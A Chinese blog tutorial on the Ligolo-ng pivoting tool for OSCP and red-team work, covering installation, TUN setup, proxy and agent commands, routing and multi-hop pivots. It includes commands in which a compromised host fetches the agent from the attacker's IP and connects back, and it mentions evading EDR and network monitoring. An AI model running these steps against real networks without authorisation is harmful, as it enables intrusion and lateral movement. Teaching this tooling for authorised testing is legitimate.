// 红队渗透 · 2025-03-22

Ligolo-ng 保姆级使用指南:新一代隧道代理工具(OSCP适用)

在渗透测试与红队行动中,网络枢纽(Pivoting)和隧道技术一直是攻防对抗的核心能力。尤其在OSCP(Offensive Security Certified Professional)考试环境下,谁能更快、更稳定地打通目标内网,往往就掌握了通关的主动权。传统的SSH、Chisel、Socat等隧道工具虽经久不衰,但在面对复杂网络拓扑、高延迟环境或多协议需求时,其性能瓶颈和配置复杂度常常成为制约因素。

而Ligolo-ng的出现,彻底改变了这一局面。作为一款基于Go语言开发的高性能隧道工具,Ligolo-ng以创新的TUN虚拟网络接口设计,实现了真正意义上的“VPN-like”体验,无需SOCKS代理即可直接路由流量,传输速度稳定高达100Mbits/sec。

无论你是OSCP考生、红队工程师,还是正在钻研内网穿透的安全从业者,本文将从基础概念出发,系统梳理Ligolo-ng的安装、配置、基本使用、高级技巧以及最新特性在实战中的应用,帮助你全面掌握这一强大工具,高效突破内网边界。


一、认识 Ligolo-ng

1.1 什么是Ligolo-ng?

Ligolo-ng是由Nicolas Chatelain开发的开源隧道工具,基于Go语言编写,是早期Ligolo项目的升级迭代版本。它专为网络渗透测试和红队行动设计,主要用于在攻击者(Attacker)与目标网络之间建立高效的枢纽(Pivot)和隧道。与传统工具不同,Ligolo-ng通过反向TCP/TLS连接(支持Reverse和Bind模式),结合操作系统提供的TUN虚拟网络接口,构建了一个完整的用户态网络栈,从而实现对目标网络的无缝直接访问,无需依赖SOCKS代理或繁琐的端口转发。

其核心工作原理可概括为:

  • 代理端(Proxy/Relay):运行在攻击者机器上,作为流量中转核心,负责接收Agent连接并通过TUN接口路由流量。
  • 代理端(Agent):运行在已攻陷的目标机器上,主动(或被动)与Proxy建立加密隧道,将目标内网流量转发回攻击者。

这种设计避免了传统工具的瓶颈,使得Ligolo-ng在性能、易用性和稳定性上表现出色。最新v0.8.3版本进一步优化了多会话管理和网络恢复机制,即使在不稳定的网络环境中也能自动重连隧道和监听器。

1.2 Ligolo-ng的核心特性

  1. VPN-like体验
    通过TUN接口,Ligolo-ng模拟了完整的VPN行为,将攻击者的流量无缝路由到目标网络。无需Proxychains等额外代理工具,即可直接使用Nmap、Metasploit、Evil-WinRM、RDP等工具访问内部资源。

  2. 多协议全面支持
    原生支持TCP、UDP和ICMP(回显请求),可完美处理Nmap的SYN扫描、OS检测、服务枚举、Ping测试以及DNS解析。传输速度稳定可达100 Mbits/sec,远超Chisel等SOCKS-based工具。

  3. 灵活的端口转发与监听
    支持listener_add命令实现本地/远程端口转发(类似SSH的-L/-R),最新版本还支持Agent端Socket绑定(Bind模式),进一步扩展了场景适应性。

  4. 零特权Agent部署
    Agent端无需管理员权限即可运行,非常适合OSCP中常见的低权限初始立足点(如普通用户Shell)。

  5. 多层Pivot与会话管理
    通过Session多会话管理,支持双重、三重甚至更多层Pivot,完美应对复杂的企业内网拓扑。

  6. v0.8+新增特性

    • Web UI多用户界面:内置API和美观的Web界面,支持多人协作管理多个Proxy和Session,极大提升团队红队效率(通过--api-laddr启动)。
    • autoroute自动路由命令:一键自动创建TUN接口、添加路由,简化配置流程。
    • 自动隧道/监听器恢复:网络中断后自动重连,无需手动干预。
    • WebSocket支持:增强了浏览器端交互和现代Web应用兼容性。
    • Let’s Encrypt自动证书:使用-autocert实现生产级TLS证书自动签发(需80端口)。
    • 增强恢复机制:Agent支持-reconnect、-retry等参数,Proxy新增接口管理和路由优化。

这些新特性让Ligolo-ng从“轻量工具”进化成“企业级隧道平台”。

1.3 为什么选择Ligolo-ng?

与传统工具对比,Ligolo-ng的优势在实战中尤为突出:

  • 对比SSH:SSH需配置SOCKS(-D)或手动端口转发,而Ligolo-ng通过TUN直接路由全网段,效率提升数倍,且支持UDP/ICMP。
  • 对比Chisel:Chisel依赖SOCKS5,延迟高、吞吐低;Ligolo-ng的TUN设计提供更低延迟和更高带宽。
  • 对比Socat/Netcat:配置繁琐且不支持多协议无缝路由;Ligolo-ng操作直观,适合快速部署。
  • OSCP实战价值:在Proving Network等考试环境中,Ligolo-ng能快速打通多层内网,完成横向移动、凭证dump和域控访问。结合autoroute,新手也能在分钟内完成复杂Pivot。

在真实红队行动中,Ligolo-ng的轻量(二进制体积小)、无痕(Agent无特权)和高性能特性,使其成为绕过EDR和网络监控的首选方案。


二、Ligolo-ng 的安装与配置

2.1 安装准备

Ligolo-ng的安装已大幅简化。Kali Linux现已原生支持apt安装。Proxy运行于攻击者端,Agent部署于目标端(Linux/Windows/macOS等多平台)。

Kali 原生apt安装(如proxy端)

在攻击者机器(Kali)上,直接执行:

sudo apt update
sudo apt install ligolo-ng

安装完成后,二进制文件自动位于:

  • /usr/bin/ligolo-proxy(Proxy端)
  • /usr/bin/ligolo-agent(Agent端)

无需下载、解压或手动chmod。验证安装:

ligolo-proxy --version
ligolo-agent --version

输出应显示v0.8.3或Kali仓库最新版本。注意:若Proxy与Agent版本不匹配,可能出现“Invalid Byte Sequence”错误,建议统一使用apt安装或从GitHub下载匹配版本。

手动下载安装(如agent端)

从官方GitHub Releases(https://github.com/nicocha30/ligolo-ng/releases/tag/v0.8.3)获取最新二进制:

  1. 攻击者机器(Proxy端,Linux):

    wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz
    tar -xvf ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz
    chmod +x ligolo-ng_proxy
    sudo mv ligolo-ng_proxy /usr/local/bin/ligolo-proxy  # 可选,加入PATH
  2. 目标机器(Agent端):

    • Linux:类似下载ligolo-ng_agent_0.8.3_linux_amd64.tar.gz,解压后重命名为ligolo-agent并赋予执行权限。
    • Windows:下载ZIP,解压得到ligolo-ng_agent.exe。
    • 其他平台:支持macOS、BSD等,Agent多平台兼容性极强。

验证:运行ligolo-proxy --version和ligolo-agent --version确认版本一致。

2.2 配置TUN接口

Ligolo-ng依赖TUN接口实现路由。在Kali上配置如下:

  1. 创建TUN接口:

    sudo ip tuntap add user $USER mode tun ligolo
  2. 激活接口:

    sudo ip link set ligolo up
  3. 验证:

    ip a | grep ligolo

    看到UP状态即成功。

关闭接口(清理时使用):

sudo ip link set ligolo down
sudo ip tuntap del mode tun ligolo

新特性提示:v0.8+的autoroute命令可自动完成上述TUN创建和路由添加,大幅简化操作。


三、Ligolo-ng 的基本使用

3.1 启动Proxy(攻击者机器)

ligolo-proxy -selfcert
  • -selfcert:生成自签名TLS证书(测试用)。
  • 高级选项:-autocert(Let’s Encrypt自动证书,需公网80端口)、--api-laddr 0.0.0.0:8080(启用Web UI多用户模式)。 默认监听0.0.0.0:11601。

3.2 分发Agent

在Proxy机器启动简易HTTP服务器分发Agent:

python3 -m http.server 80

目标机器下载:

wget http://<攻击者IP>/ligolo-agent -O ligolo-agent
chmod +x ligolo-agent

3.3 运行Agent(目标机器)

./ligolo-agent -connect <攻击者IP>:11601 -ignore-cert
  • 新增参数:-reconnect(自动重连)、-retry-delay 5(重试间隔)、-bind(Bind模式,反向监听)。
  • -ignore-cert:忽略自签名证书(生产环境建议使用有效证书)。

3.4 管理会话(Proxy界面)

Proxy启动后进入交互式CLI:

  • session:查看所有Agent会话及ID。
  • start <ID>:进入指定Session的隧道模式。
  • help:显示所有命令(新增autoroute等)。
  • listener_add --addr 0.0.0.0:8000 --to 127.0.0.1:80 --tcp:端口转发。

3.5 添加路由

sudo ip route add 192.168.1.0/24 dev ligolo

验证:ip route。
v0.8新特性:在Session内输入autoroute即可自动检测内网、创建TUN接口并添加路由,一键搞定!


四、Ligolo-ng 的高级使用

4.1 访问Agent本地服务(127.0.0.1)——魔法CIDR

目标主机本地服务(如127.0.0.1:8080的Web管理面板)无法直接通过普通TUN访问。Ligolo-ng提供“魔法CIDR”240.0.0.0/4:

  • 240.0.0.1映射为目标的127.0.0.1。

操作:

sudo ip route add 240.0.0.1/32 dev ligolo
curl http://240.0.0.1:8080
nmap -Pn -sT 240.0.0.1

无需额外暴露端口,比Chisel更优雅。

4.2 多级Pivot与深层内网渗透

支持多层跳板。示例场景:Kali → JumpBox A → Target B。

  1. JumpBox A运行Agent连接Kali。
  2. 在Kali Proxy中:
    listener_add --addr 0.0.0.0:8000 --to 127.0.0.1:80 --tcp
    将Kali的80端口暴露到JumpBox A的8000端口。
  3. Target B通过A的8000端口下载文件或建立反向连接,实现“深层反向隧道”。

结合autoroute,多层Pivot配置时间从数分钟缩短至秒级。

4.3 v0.8+高级特性(全新补充)

  • Web UI多用户协作:启动ligolo-proxy --api-laddr 0.0.0.0:8080,浏览器访问http://<IP>:8080,支持实时查看Session、网络拓扑、多人同时操作。适合团队红队。
  • 自动恢复机制:Agent使用-reconnect -reconnect-delay 20,网络波动时自动恢复隧道和监听器。
  • WebSocket集成:支持现代Web应用流量转发,提升C2隐蔽性。
  • Let’s Encrypt生产证书:ligolo-proxy -autocert -selfcert-domain yourdomain.com,实现企业级加密。
  • Bind模式:Agent使用-bind被动等待Proxy连接,适用于严格出站防火墙环境。

这些特性让Ligolo-ng在长时间驻留渗透中表现卓越。


五、Ligolo-ng实战应用与技巧

在OSCP Proving Network中,Ligolo-ng能显著提升效率:

  • 初始立足后快速Pivot:获取低权限Shell后,上传Agent,一键打通内网,绕过防火墙限制。
  • 服务枚举与漏洞利用:直接Nmap全网段扫描,无需SOCKS的协议限制。
  • 凭证传递与横向移动:通过TUN访问SMB/RDP/SQL,结合CrackMapExec或Impacket实现Pass-the-Hash。
  • 考试时间优化:autoroute + Web UI让配置时间缩短70%,留出更多时间给提权和域控。

常见陷阱与排查:

  • 版本不匹配:始终保持Proxy/Agent一致。
  • TUN权限问题:确保以普通用户运行Proxy(ip tuntap add user $USER)。
  • 证书错误:生产环境优先使用-autocert。
  • 防火墙拦截:优先TLS端口11601,或自定义端口。
  • 性能瓶颈:监控ip a和路由表,避免路由冲突。

总结速查

功能模块 用法与场景说明 新增/优化
🎯 魔法CIDR ip route add 240.0.0.1/32 dev ligolo + curl 240.0.0.1 稳定
🔁 多级Pivot listener_add --addr 0.0.0.0:8000 --to 127.0.0.1:80 --tcp 增强
🚀 autoroute Session内输入autoroute,自动TUN+路由 v0.8+
🌐 Web UI ligolo-proxy --api-laddr 0.0.0.0:8080,浏览器协作管理 v0.8+
🔄 自动恢复 Agent加-reconnect,Proxy自动重连隧道 v0.8+
📜 Let’s Encrypt ligolo-proxy -autocert v0.8+

参考资料

  1. GitHub - nicocha30/ligolo-ng
  2. Kali Linux Tools - ligolo-ng
  3. Ligolo-ng Documentation
  4. 社区实战指南(Hacking Articles、StationX等)

原文 https://blog.csdn.net/2301_79518550/article/details/146141967